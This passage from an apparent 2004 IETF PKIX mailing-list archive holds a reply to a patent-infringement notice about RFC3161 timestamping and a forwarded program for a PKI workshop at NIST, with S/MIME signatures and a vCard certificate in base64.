c2EgSW50ZXJuZXQgT3kxJzAlBgNVBAMUHkVDIEVsaXNhIEludGVybmV0IE95IFBlb3BsZSBDQQIC
Tv4wCQYFKw4DAhoFAKCCAZowGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUx
DxcNMDQwMzI2MDAzNzU0WjAjBgkqhkiG9w0BCQQxFgQU8pg5nTBMCfg3twmTWpjFsJqo+40wZwYJ
KoZIhvcNAQkPMVowWDAKBggqhkiG9w0DBzAHBgUrDgMCGjAOBggqhkiG9w0DAgICAIAwDQYIKoZI
hvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcNAwICASgwCgYIKoZIhvcNAgUwZwYJKwYBBAGCNxAE
MVowWDBSMQswCQYDVQQGEwJGSTEaMBgGA1UEChQRRWxpc2EgSW50ZXJuZXQgT3kxJzAlBgNVBAMU
HkVDIEVsaXNhIEludGVybmV0IE95IFBlb3BsZSBDQQICTwAwaQYLKoZIhvcNAQkQAgsxWqBYMFIx
CzAJBgNVBAYTAkZJMRowGAYDVQQKFBFFbGlzYSBJbnRlcm5ldCBPeTEnMCUGA1UEAxQeRUMgRWxp
c2EgSW50ZXJuZXQgT3kgUGVvcGxlIENBAgJPADANBgkqhkiG9w0BAQEFAASBgHk12HxgDWowpE3J
Og43hgCT8FhV6QSWKAern/lp3CWSlQss75PXl4OsNug6PxCr9MOdbQuGJFgNp29OiQAliL+Il2sS
pHAj/1ck03O2k3mJpB+pbbGxI3CH8uDb3FdklkmZdXb0JrxRjfDw25zLbVbTUMSbHNJnWz+aY2L8
KcTAAAAAAAAA

------=_NextPart_000_0041_01C412DB.57698F10--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PNVFgo078629; Thu, 25 Mar 2004 15:31:15 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2PNVFZR078628; Thu, 25 Mar 2004 15:31:15 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp22.kolumbus.fi (smtp22.kolumbus.fi [193.229.0.82]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PNVDPD078577 for <[e-mail]>; Thu, 25 Mar 2004 15:31:14 -0800 (PST) (envelope-from [e-mail])
Received: from dom1-cn1-hki.dom1.epnet (dom1-cn1-hki.dom1.epnet [172.21.176.70]) by smtp22.kolumbus.fi (8.12.10/8.12.4) with ESMTP id i2PNSJGK001363; Fri, 26 Mar 2004 01:28:19 +0200 (EET)
Received: from dom1-mb1-hki.dom1.epnet ([172.21.176.65]) by dom1-cn1-hki.dom1.epnet with Microsoft SMTPSVC(5.0.2195.6713); Fri, 26 Mar 2004 01:31:10 +0200
Content-class: urn:content-classes:message
Subject: RE: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
MIME-Version: 1.0
Date: Fri, 26 Mar 2004 01:31:10 +0200
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=SHA1; boundary="----=_NextPart_000_0011_01C412D1.FEA2BF40"
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <[e-mail]>
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator: 
Thread-Topic: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Thread-Index: AcQStXiODidWzEckS+qDbemB4P9BMgAAsvaQ
From: "Vainikainen Saku EINT" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Cc: "todd glassey" <[e-mail]>
X-OriginalArrivalTime: 25 Mar 2004 23:31:10.0234 (UTC) FILETIME=[410967A0:01C412C1]
X-MailScanner-Information: Please contact the service provider for more information
X-MailScanner: Found to be clean
X-MailScanner-MCPCheck: 
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_0011_01C412D1.FEA2BF40
Content-Type: multipart/mixed;
	boundary="----=_NextPart_001_0012_01C412D1.FEA2BF40"


------=_NextPart_001_0012_01C412D1.FEA2BF40
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit


Good discussion on patenting "computer-implemented inventions" here in
Europe:

http://europa.eu.int/comm/internal_market/en/indprop/comp/index.htm

Rgrds,
Saku Vainikainen
PKI Specialist

Elisa Corporation
Products / Identity Management
FINLAND



> -----Original Message-----
> From: [e-mail] 
> [mailto:[e-mail]] On Behalf Of todd glassey
> Sent: Thursday, March 25, 2004 11:29 PM
> To: [e-mail]; [e-mail]
> Subject: Legal Notice on RFC3161 Uses and their possible 
> infringement against Glassey/Mcneil Patents(et al).
> 
> 
> Lets talk about legal stuff for a minute... and I don't 
> really need anyone
> to respond to this unless they want to do so with my lawyers.
> 
> ---------------------------------------------------
> 
> Be advised that I am claiming there is an unauthorized 
> identified use of
> RFC3161 that appears to violate parts of the Glassey/McNeil 
> Timestamping
> patent ("Controlling Access to Stored Information" - US 6370629 and EP
> 0997808, et al).  As such, I am formally putting the 
> IETF/IESG on notice
> thereof.
> 
> Further, these same uses may also violate any number of other 
> "Receipt"
> patents issued (including, but not limited to, the original 
> Fisher and Haber
> patents; those of others in the Time Management and in the XML
> Receipt Business), as well as other patents still in the works.
> 
> In light of this notification, please be aware that it is the 
> responsibility
> of the developers to do proper diligence prior to releasing 
> commercial or
> free services using RFC3161 as its base.
> 
> Be advised that we are currently very concerned. If any such RFC3161
> application is used for evidentiary purposes or if it is used 
> to enable
> control of any access to any data, or data in any record structure,
> such use may be in violation of these globally issued patents.
> 
> Obviously, in instances where such violation is evident, we 
> will take swift
> legal steps to protect our patent(s) while preventing any further
> unauthorized use. This would include any violations and 
> damages resulting
> from all those responsible, even National Governments using 
> RFC3161 for
> commercial and audit purposes (including the EU and its 
> member States).
> 
> Please feel free to have the IETF's or IESG's or any other appropriate
> attorney (or Developers wishing to avoid the legal complications of an
> authorized use) contact me regarding this matter for my point 
> of service so
> appropriate licensing can be arranged to protect these 
> patents against such
> infringement involving those Developer's Application Systems .
> 
> Todd Glassey
> Patent Rights Owner and Inventor -US 6370629
> 
> 

------=_NextPart_001_0012_01C412D1.FEA2BF40
Content-Type: text/x-vcard;
	name="Vainikainen Saku EINT.vcf"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="Vainikainen Saku EINT.vcf"

BEGIN:VCARD
VERSION:2.1
N:Vainikainen;Saku
FN:Saku Vainikainen
ORG:Elisa Corporation;Products / Identity Management
TITLE:PKI Specialist
TEL;WORK;VOICE:[phone]
TEL;CELL;VOICE:[phone]
ADR;WORK:;S=D6 B 2100;PO BOX 200;ELISA;;00061;Finland
LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:S=3DD6 B 2100=3D0D=3D0APO BOX =
200=3D0D=3D0AELISA 00061=3D0D=3D0AFinland
URL;WORK:http://www.elisa.com
KEY;X509;ENCODING=3DBASE64:
    =
MIIEdjCCA16gAwIBAgICTwAwDQYJKoZIhvcNAQEFBQAwUjELMAkGA1UEBhMCRkkxGjAYBgNV
    =
BAoUEUVsaXNhIEludGVybmV0IE95MScwJQYDVQQDFB5FQyBFbGlzYSBJbnRlcm5ldCBPeSBQ
    =
ZW9wbGUgQ0EwHhcNMDMwNTIwMDcxMzIwWhcNMDYwNTIwMDcxMzIwWjCBkzELMAkGA1UEBhMC
    =
RkkxGjAYBgNVBAoUEUVsaXNhIEludGVybmV0IE95MS0wKwYDVQQDFCRWYWluaWthaW5lbiBT
    =
YWt1IE8gRWxpc2EgSW50ZXJuZXQgT3kxOTAIBgNVBCsUAU8wCwYDVQQqFARTYWt1MAwGA1UE
    =
BRMFMTk2MzUwEgYDVQQEFAtWYWluaWthaW5lbjCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkC
    =
gYEAy8g1zIGUjHEVx1pSkYooPVRsvSEbC22PdG8w03NFNg+C5mZUOR+XC3J6CH15ntZZ7D/D
    =
NV4U6VSZCrGnv8ffwVWfDT2N7QOJXwCUkF3cs44KUr/sxv5d+XgyolqRk8IqMGe/41zhTbbl
    =
wjWtu6VCXHXCA0kOHM4BVh/JeWSP9o8CAwEAAaOCAZYwggGSME8GA1UdEQRIMEagKQYKKwYB
    =
BAGCNxQCA6AbDBlzYWt1LnZhaW5pa2FpbmVuQGVsaXNhLmZpgRlzYWt1LnZhaW5pa2FpbmVu
    =
QGVsaXNhLmZpMB0GA1UdJQQWMBQGCCsGAQUFBwMEBggrBgEFBQgCAjATBgNVHSMEDDAKgAhD
    =
CDKVkyWtojAYBgNVHSAEETAPMA0GCyqBdoIVAQsBAQQCMIGnBgNVHR8EgZ8wgZwwgZmggZag
    =
gZOGgZBsZGFwOi8vbGRhcC5lbGlzYS5wa2kua29sdW1idXMuZmk6Mzg5L2NuPUVDIEVsaXNh
    =
IEludGVybmV0IE95IFBlb3BsZSBDQSxvdT1jZXJ0cyxvdT1jZXJ0bWFuLG89c2VydmljZXMs
    =
ZGM9ZWxpc2E/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdDtiaW5hcnkwEQYDVR0OBAoECER0
    =
R3YvvoGtMA4GA1UdDwEB/wQEAwIEMDAZBgYqhXAiAgEEDxMNMTAxMDAwNDAwNDAzMDAJBgNV
    =
HRMEAjAAMA0GCSqGSIb3DQEBBQUAA4IBAQBfKs8/QI1k6kIf+RZrFTFonsyJL5qu+vULVKiy
    =
xKq+4z+a6tve2xmR/xKMxwF2g1GSzlthHKEDjdleysJ0/ZtUqsP/9ZEb/kFLY75ChQCCRP9p
    =
ZskLwotoG4tSMqexmZqvHYpV1V8yXQCco2jDc9wdqXVvdhrb23HKqg7XLfyjqRMA6RwoG3cP
    =
e9oOFsE7oPs+7OKBIpxHqWqh5Mwu2RX1HifiLh0JfH0rA+l0F6DYbLlwCs7BF/rPyh3rqedq
    =
TyvVnQs6yx4zIVz1uUAYD8f6UzafzyHm5YKY/KwgWZ9bNShDNa/uUamqusMSD/447sXIoMjO
    GH8EEJ8bB3Rrz5Uq


EMAIL;PREF;INTERNET:[e-mail]
REV:20040121T122653Z
END:VCARD

------=_NextPart_001_0012_01C412D1.FEA2BF40--

------=_NextPart_000_0011_01C412D1.FEA2BF40
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7s"

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
ue3guXbP3Ff311QFqkAoHuYNkDpZnXpiIIcOBFhQj8WuAeA2upM91iCrr/aeFWF+vsp5Qdc+D1hF
uM3GwyGdW52SAjjg7eDH4DSYYjWOqLrA4Q4ii5f6rw66T0aZzDEwggR2MIIDXqADAgECAgJPADAN
BgkqhkiG9w0BAQUFADBSMQswCQYDVQQGEwJGSTEaMBgGA1UEChQRRWxpc2EgSW50ZXJuZXQgT3kx
JzAlBgNVBAMUHkVDIEVsaXNhIEludGVybmV0IE95IFBlb3BsZSBDQTAeFw0wMzA1MjAwNzEzMjBa
Fw0wNjA1MjAwNzEzMjBaMIGTMQswCQYDVQQGEwJGSTEaMBgGA1UEChQRRWxpc2EgSW50ZXJuZXQg
T3kxLTArBgNVBAMUJFZhaW5pa2FpbmVuIFNha3UgTyBFbGlzYSBJbnRlcm5ldCBPeTE5MAgGA1UE
KxQBTzALBgNVBCoUBFNha3UwDAYDVQQFEwUxOTYzNTASBgNVBAQUC1ZhaW5pa2FpbmVuMIGfMA0G
CSqGSIb3DQEBAQUAA4GNADCBiQKBgQDLyDXMgZSMcRXHWlKRiig9VGy9IRsLbY90bzDTc0U2D4Lm
ZlQ5H5cLcnoIfXme1lnsP8M1XhTpVJkKsae/x9/BVZ8NPY3tA4lfAJSQXdyzjgpSv+zG/l35eDKi
WpGTwiowZ7/jXOFNtuXCNa27pUJcdcIDSQ4czgFWH8l5ZI/2jwIDAQABo4IBljCCAZIwTwYDVR0R
BEgwRqApBgorBgEEAYI3FAIDoBsMGXNha3UudmFpbmlrYWluZW5AZWxpc2EuZmmBGXNha3UudmFp
bmlrYWluZW5AZWxpc2EuZmkwHQYDVR0lBBYwFAYIKwYBBQUHAwQGCCsGAQUFCAICMBMGA1UdIwQM
MAqACEMIMpWTJa2iMBgGA1UdIAQRMA8wDQYLKoF2ghUBCwEBBAIwgacGA1UdHwSBnzCBnDCBmaCB
lqCBk4aBkGxkYXA6Ly9sZGFwLmVsaXNhLnBraS5rb2x1bWJ1cy5maTozODkvY249RUMgRWxpc2Eg
SW50ZXJuZXQgT3kgUGVvcGxlIENBLG91PWNlcnRzLG91PWNlcnRtYW4sbz1zZXJ2aWNlcyxkYz1l
bGlzYT9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0O2JpbmFyeTARBgNVHQ4ECgQIRHRHdi++ga0w
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
/t1bAAAAAAAA

------=_NextPart_000_0011_01C412D1.FEA2BF40--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PNUlPo078547; Thu, 25 Mar 2004 15:30:47 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2PNUlXa078546; Thu, 25 Mar 2004 15:30:47 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from brmea-mail-3.sun.com (brmea-mail-3.Sun.COM [192.18.98.34]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PNUkcK078540 for <[e-mail]>; Thu, 25 Mar 2004 15:30:46 -0800 (PST) (envelope-from [e-mail])
Received: from phys-bur1-1 ([129.148.13.15]) by brmea-mail-3.sun.com (8.12.10/8.12.9) with ESMTP id i2PNUnp9006361 for <[e-mail]>; Thu, 25 Mar 2004 16:30:51 -0700 (MST)
Received: from Sun.COM (sr1-ubur-05.East.Sun.COM [129.148.9.84]) by bur-mail2.east.sun.com (iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)) with ESMTPA id <[e-mail]> for [e-mail]; Thu, 25 Mar 2004 18:30:49 -0500 (EST)
Date: Thu, 25 Mar 2004 18:30:49 -0500
From: Yassir Elley <[e-mail]>
Subject: [Fwd: April 12-14: 3rd Annual PKI R&D Workshop]
To: [e-mail], [e-mail], [e-mail]
Reply-to: [e-mail]
Message-id: <[e-mail]>
Organization: Sun Microsystems Inc. - BDC
MIME-version: 1.0
X-Mailer: Mozilla 4.79C-CCK-MCD  [en] (X11; U; SunOS 5.9 sun4u)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
X-Accept-Language: en
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

FYI

-------- Original Message --------
Subject: April 12-14: 3rd Annual PKI R&D Workshop
Date: Thu, 25 Mar 2004 14:39:30 -0700
From: Neal McBurnett <[e-mail]>
To: Attendees of Annual PKI Research Workshops <[e-mail]>

The 3rd Annual PKI R&D Workshop is almost here: April 12-14 2004
at NIST in Gaithersburg, MD.  Registrations should be in by
Monday March 29.

The program features a broad variety of perspectives, results and new
ideas on the use of Public Key technology for security decision
making, not just traditional "PKI".  There are talks and panel
sessions on the dynamic delegation of rights, application-specific PKI
designs, document signatures, certificate path discovery, experience
papers and panels on where to go from here.

Speakers include Peter Gutmann, Carlisle Adams, Stefan Brands, Ken
Klingenstein, John Linn, Tim Polk, Von Welch and many other experts.
The intimate workshop atmosphere provides ample opportunities to
interact with others working on the issues you're facing, including
Work-In-Progress and Birds-of-a-Feather sessions.

802.11b Wireless access points will be available for SSH, IPSEC, HTTP,
DNS, FTP, POP, IMAP, and SMTP connectivity.  At only $105 for
registration, it's a bargain.

More information is at
 http://middleware.internet2.edu/pki04/ 

Neal McBurnett                 http://bcn.boulder.co.us/~neal/
Signed and/or sealed mail encouraged.  GPG/PGP Keyid: 2C9EBA60

--------

Preliminary Program - Subject to change

Monday, April 12

12:00 - 12:15
Opening Remarks
Program Committee
Susan Zevin Director, Information Technology Laboratory, NIST

12:15 - 1:15
KEYNOTE ADDRESS
Non-Intrusive Cross-Domain Identity Management
Stefan Brands Credentica

2:00 - 3:30
Role Sharing in Password-Enabled PKI
Xunhua Wang James Madison University

Greenpass: Decentralized, PKI-based Authorization for Wireless LANs
Nicholas C. Goffee Dartmouth College

X.509 Proxy Certificates for Dynamic Delegation
Von Welch National Center for Supercomputing Applications, University
of Illinois

4:00 - 5:30
Panel: Controlled and Dynamic Delegation of Rights
Moderator: Frank Siebenlist Argonne National Laboratory

6:15 - 8:00
Social Gathering and Workshop Dinner
Gaithersburg Holiday Inn

8:00 - 9:00
Work in Progress Session
Gaithersburg Holiday Inn
Contact Krishna Sankar if you would like to present some Work in
Progress


Tuesday, April 13

9:00 - 10:00
KEYNOTE ADDRESS
Simple, Straightforward, Functional PKI
Peter Gutmann University of Auckland

10:00 - 10:30
Experiences of establishing trust in a distributed system operated by
mutually distrusting parties
David Chadwick University of Salford

11:00 - 12:00
Panel: An update on Phase Three of the PKI Interop Project with
EDUCAUSE
Moderator: Peter Alterman National Institutes of Health

Deb Blanchard Digital Signature Trust
Russ Weiser Betrusted

12:00 - 12:30
Trusted Archiving
Santosh Chokhani Orion Security Solutions

12:30 - 2:00: Lunch - NIST Cafeteria

2:00 - 3:00
Panel: Document Signatures
Moderator: Randy Sabett, Cooley Godward LLP & Tim Polk NIST

3:00 - 3:30
PKI: Ten Years Later
Carlisle Adams University of Ottawa

4:00 - 4:30
An Examination of Asserted PKI Issues and Proposed Alternatives
John Linn RSA Laboratories

4:30 - 5:30
Panel: Which PKI Approach for Which Application Domain?
Moderator: Peter Alterman National Institutes of Health

Carl Ellison Microsoft
Russ Weiser Betrusted

5:30 - 8:00: Dinner (on your own)

8:00 - 9:00
Birds of a Feather sessions - sign up at Registration


Wednesday, April 14

9:00 - 10:00
KEYNOTE ADDRESS
The Middleware Connection
Ken Klingenstein University of Colorado; Internet2

10:00 - 10:30
Private Revocation Test using Oblivious Membership Evaluation Protocol
Hiroaki Kikuchi Tokai University

11:00 - 11:30
"Dynamic Bridge" Concept Paper
Ken Stillson Mitretek Systems

11:30 - 12:30
Panel: Approaches to Certificate Path Discovery
Moderator: Peter Hesse Gemini Security Solutions

Steve Hanna Sun Microsystems
Matt Cooper Orion Security Solutions
Ken Stillson Mitretek Systems

12:30 - 2:00: Lunch - NIST Cafeteria

2:00 - 2:30
Johnson & Johnson Use of Public Key Technology
Rich Guida Johnson & Johnson

2:30 - 3:00
Identifying and Overcoming Obstacles to PKI Deployment and Usage
Jean Pawluk Inovant

3:30 - 4:30
Panel: The PKI Action Plan: Will it make a difference?
Moderator: Steve Hanna Sun Microsystems

Lieutenant Commander Thomas Winnenberg U.S.N., DISA
Jean Pawluk Inovant
Tim Polk NIST
John Linn RSA Laboratories
Sean Smith Dartmouth College

4:30 - 5:00
Wrapup Session



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PNHLw0077572; Thu, 25 Mar 2004 15:17:21 -0800 (PST) (envelope-from [e-mail])
